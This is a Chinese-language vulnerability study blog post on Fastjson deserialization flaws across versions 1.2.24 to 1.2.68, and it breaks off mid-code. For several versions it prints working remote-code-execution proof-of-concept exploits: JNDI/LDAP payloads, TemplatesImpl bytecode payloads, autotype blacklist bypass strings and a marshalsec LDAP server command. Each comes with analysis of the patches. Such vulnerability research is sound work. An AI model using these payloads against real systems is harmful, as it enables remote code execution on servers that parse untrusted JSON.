0%

Fastjson Vulnerability

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

Fastjson组件

Fastjson使用包含如下几个核心函数

1
2
3
4
5
6
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

pom.xml

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

User.java

建立一个用户类,实现Setter和getter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package demo;

public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
}

Main.java

调用com.alibaba.fastjson.JSON将JSON文本解析为对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
public static void main(String[] args) throws Exception{
//创建一个用于实验的user类
User user1 = new User();
user1.setName("Str3am");
user1.setAge(11);

//序列化
//SerializerFeature.WriteClassName 添加 @type,指定反序列化的类,也可以不用添加
String serializedStr = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
System.out.println("serializedStr="+serializedStr);

//通过parse方法进行反序列化,返回的是一个JSONObject
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化:"+obj1);

//通过parseObject,不指定类,返回的是一个JSONObject
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);

//通过parseObject,指定类后返回的是一个相应的类对象
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
}
}

image-20210804194632670

Fastjson提供特殊字符段@type,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。

  • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
  • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

三种反序列化函数除了返回结果不同之外,在执行过程的调用函数上也有不同。

从上面的例子我们可以看出,在对json字符串进行反序列化的时候,会调用对应类的setter和getter方法,不同函数的调用规则如下:

  • toJSONString() 会调用目标类的所有getter方法

  • parse(“”) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法

  • parseObject(“”) 会调用反序列化目标类的特定 setter 和 getter 方法

  • parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法

特定的setter方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

特定的getter方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

(我自己在测试的时候发现没有带@type标识符时,并不是按照这个规律,这里存疑)

因为这个特定的调用规则的原因,所以对于@type才不会调用其getter和setter方法。特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package demo;

import com.alibaba.fastjson.JSON;

import java.util.Hashtable;

public class Main {
public static void main(String[] args) throws Exception{
String json="{\"table\":{}}";
Foo foo=JSON.parseObject(json,Foo.class);
}
}

class Foo{
private Hashtable table;
public Hashtable getTable() {
System.out.println("getter");
return table;
}
}

image-20210804210555879

Hashtable继承了Map,所以在反序列化的时候会调用getTable方法

ver<=1.2.24

JdbcRowSetImpl

利用条件

JNDI注入利用链是最通用的方式,在以下三种情况都可以使用

1
2
3
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

漏洞复现

jdk1.8.0_161

1
2
3
4
5
6
7
8
9
10
package demo;

import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) throws Exception{
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
JSON.parse(json);
}
}

起一个ldap服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

ExecTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExecTest implements ObjectFactory {
public ExecTest() {
}

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
exec("xterm");
return null;
}

public static String exec(String var0) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var2) {
var2.printStackTrace();
}

return "";
}

public static void main(String[] var0) {
exec("123");
}
}

编译后(编译使用的是jdk1.8.0_251,运行环境是在jdk1.8.0_161,这样测试也是可以jndi注入的)在8090端口起一个web服务

image-20211011200843637

漏洞分析

JdbcRowSetImpl把JNDI注入衍生到了

1
2
3
4
5
6
7
8
9
10
import com.sun.rowset.JdbcRowSetImpl;

public class CLIENT {

public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}

那么只需要调用这两个set方法,这两个函数接口

1
2
public void setDataSourceName(String var1) throws SQLException
public void setAutoCommit(boolean var1)throws SQLException

可以看到是满足特殊setter的条件的

TemplatesImpl

利用条件

需要以下格式

1
2
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
JSON.parse(text1,Feature.SupportNonPublicField)

这是因为POC中有一些private属性,而且TemplatesImpl类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要Feature.SupportNonPublicField参数

漏洞复现

JDK1.7_21

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\""+ TemplatesImpl.class.getName()+"\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

JSON.parse(poc, Feature.SupportNonPublicField);
}
}

image-20211012202528192

漏洞分析

Jdk7u21后面是调用到了TemplatesImpl.getOutputProperties(),函数原型

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

Properties继承自Hashtables,实现了Map,符合特殊getter的条件

Jdk7u21的TemplatesImple类需要满足如下条件

  1. TemplatesImpl类的 _name 变量 != null
  2. TemplatesImpl类的_class变量 == null
  3. TemplatesImpl类的 _bytecodes 变量 != null
  4. TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
  5. 我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。
  6. TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类

对比上面那个poc就会有以下几个问题

_tfactory为什么为空?

当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例,应有的格式即变量在源码中的定义

1
2
3
4
5
/**
* A reference to the transformer factory that this templates
* object belongs to.
*/
private transient TransformerFactoryImpl _tfactory = null;

_bytecodes需要base64编码?

FastJson提取byte[]数组字段值时会进行Base64解码

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

image-20211014195506705

com.alibaba.fastjson.parser.JSONScanner#bytesValue

image-20211014195553211

_outputProperties

FastJson对变量赋值的逻辑在parseField中实现

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

image-20211014195925620

key即为传入的属性名,经过了smartMatch处理

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

会替换掉字段key中的_-,所以删除POC里的_或者添加-都是可以的

漏洞修复checkAutoType

在1.2.25版本之后,autotype功能受到了限制,autotype默认是关闭的,这时采用白名单判断反序列化的类名,可以手动添加白名单列表。手动开启autotype之后,使用黑名单方式来判断,同样黑名单也可以自定义。配置详情可以参考官网wiki:

https://github.com/alibaba/fastjson/wiki/enable_autotype

当autotype关闭的时候,这里以1.2.25版本为例

image-20211015170344364

可以看到1.2.24版本再遇到@type标记的时候,会直接加载指定的类,1.2.25版本则会先进入checkAutoType函数进行判断

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

//一些固定类型的判断,此处不会对clazz进行赋值,此处省略

if (!autoTypeSupport) {
//进行黑名单匹配,匹配中,直接报错退出
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

//此处省略了当clazz不为null时的处理情况,与expectClass有关
//但是我们这里输入固定是null,不执行此处代码

//可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
//执行不到此处
return clazz;
}

当默认关闭autotype时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载

看下默认的黑名单和白名单(白名单为空,最下面)

image-20211015172816830

com.sun,上面两条路都被堵死了。因此,在后续的FastJson利用链中,攻防点主要在于开发者手动开启了autotype,对黑名单的绕过和加固。

1.2.25<=ver<=1.2.41

漏洞复现

需要手动开启autotype

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
</dependencies>

jdk1.8.0_161

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

漏洞分析

开启auto后checkAutoType的逻辑判断

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
//同样会进行白名单检测
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
//黑名单检测
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

...
//其他一些逻辑和autotype关闭的逻辑

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

...
}
}
}

同样会先进行黑白名单检测,如果都不满足,开启autotype后会进入TypeUtils.loadClass尝试读取类,跟进loadClass逻辑

image-20211020161303194

可以看到,当className以L开头并以;时,会直接去掉L;,然后加载。这是由于历史原因,X.class.getName 方法在应用于数组类型时会返回奇怪的名字,这也是对特征的兼容。

image-20211020161605568

那么我们可以在想要反序列化的类名加上L开头,;结尾,来绕过黑名单的检测。

添加[也可以,不过这是1.2.43版本的绕过方式了。

漏洞修复

1.2.42版本checkAutoType逻辑和之前差不多,只是黑白名单判断这里采用hash去替代startwith。为了防范1.2.41版本的绕过,这里开头直接删除掉了L和结尾的;(如果类名存包含的话)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
//对L 和 ; 处理,直接删除
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
//白名单,黑名单判断,换成了hash判断
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

这里采用hash的方式去验证黑白名单,那么我们理论上可以遍历所有的jar包,计算出对应的类名,github上有一个项目已经完成了这个事情。

1.2.42

漏洞复现

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
</dependencies>

jdk1.8.0_161

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

漏洞分析

上面提到了1.2.42版本checkAutoType函数会先去除掉开头的L和结尾的;,但是TypeUtils.loadClass处理逻辑依然会处理掉L;,那么直接双写L;就可以绕过

漏洞修复

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

image-20211021170546752

双写可以绕过,直接检测是否以LL开头,简单粗暴

1.2.43

漏洞复现

jdk1.8.0_161

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{,\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

漏洞分析

使用这个payload

1
2
3
4
5
6
7
String poc="{\n" +
"\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

提示逗号前需要[

image-20211021194044379

又提示在加入的[后需要一个{,加上即可,这里涉及fastjson具体解析字符串的过程,就不再深入分析。

image-20211021194138796

漏洞修复

com.alibaba.fastjson.parser#checkAutoType

直接过滤掉[;结尾的类

image-20211021194804574

1.2.47

1.2.46~1.2.46版本主要是黑名单的添加,然后到1.2.47版本出现了通杀的payload

漏洞复现

jdk1.8.0_161

我本地测试,开不开启autotype都是可以成功的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

// String poc="{\n" +
// "\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[,\n" +
// "\"_bytecodes\":[\""+evilCode+"\"],\n" +
// "\"_name\":\"xx\",\n" +
// "\"_tfactory\":{ },\n" +
// "\"_outputProperties\":{ }\n" +
// "}";
String poc="[\n" +
" {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
" }, \n" +
" {\n" +
" \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \n" +
" \"_bytecodes\":[\""+evilCode+"\"],\n" +
" \"_name\":\"xx\",\n" +
" \"_tfactory\":{ },\n" +
" \"_outputProperties\":{ }\n" +
" }\n" +
"]";

System.out.println(poc);

// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

漏洞分析

从parseObject开始分析

com.alibaba.fastjson.parser#parseObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public final Object parseObject(Map object, Object fieldName) {
...
//checkAutoType检测
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
typeName = lexer.scanSymbol(this.symbolTable, '"');
if (!lexer.isEnabled(Feature.IgnoreAutoType)) {
strValue = null;
Class clazz;
if (object != null && object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures());
}
...
//deserializer.deserialze加载
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
...
}

第一层payload java.lang.Class不在黑名单内,比较特殊的是这个类类对应的deserializer为MiscCodec

com.alibaba.fastjson.serializer#deserialze

前面为格式检测,这里会检测@type后面一个键是否为val,然后将其值赋予strVal

image-20211022201413150

image-20211022201524635

这里clazz == Class.class满足,进入TypeUtils.loadClass,然后可以看到默认调用的话,第三个参数是为true

image-20211022201613312

com.alibaba.fastjson.util#loadClass

classLoader.loadClass加载com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类后放入缓存的mapping里面

image-20211022201847799

当第二个@type解析时,我们跟一下checkAutoType的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {

//黑白名单判断
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
} else {
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

autoTypeSupport关闭的时候,直接clazz = TypeUtils.getClassFromMapping(typeName),从mapping里面获取类,当其开启的时候,白名单肯定不满足,但是黑名单判断的时候Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null要求满足符合黑名单并且不再mapping内才会抛出异常,所以也会进入clazz = TypeUtils.getClassFromMapping(typeName)逻辑,开不开启autype都是可以的

漏洞修复

1.2.48版本直接设置MiscCode类deserialze方法的TypeUtils.loadClass的第三个参数为false

image-20211022203741051

1.2.59(CVE-2019-14540)

后面版本就基本上是开启autotype,和黑名单的对抗了

漏洞复现

jdk1.8.0_161,版本需要小于jdk 191,ldap注入

pom.xml

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>3.2.0</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse("{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://127.0.0.1:1389/Exploit\"}");
}
}

Exploit.java

1
2
3
4
5
6
7
8
9
public class Exploit {
public Exploit() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}

漏洞分析

com.zaxxer.hikari#setMetricRegistry

image-20211029145555396

metricRegistry可控,getObjectOrPerformJndiLookup函数存在lookup绑定refference的操作,可以JNDI注入

image-20211029145752891

1.2.68

expectClass绕过AutoType

1.2.61开始,黑名单从十进制变成了十六进制,1.2.62开始,黑名单从小写变成了大写

1.2.48-1.2.68黑名单绕过的有很多,这里不再赘述,文末链接有

在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType

漏洞复现

  • jdk1.8.0_161
  • fastjson 1.2.68
  • 开不开启autotype都是可以的

服务端存在如下实现AutoCloseable接口类的恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package demo;

public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
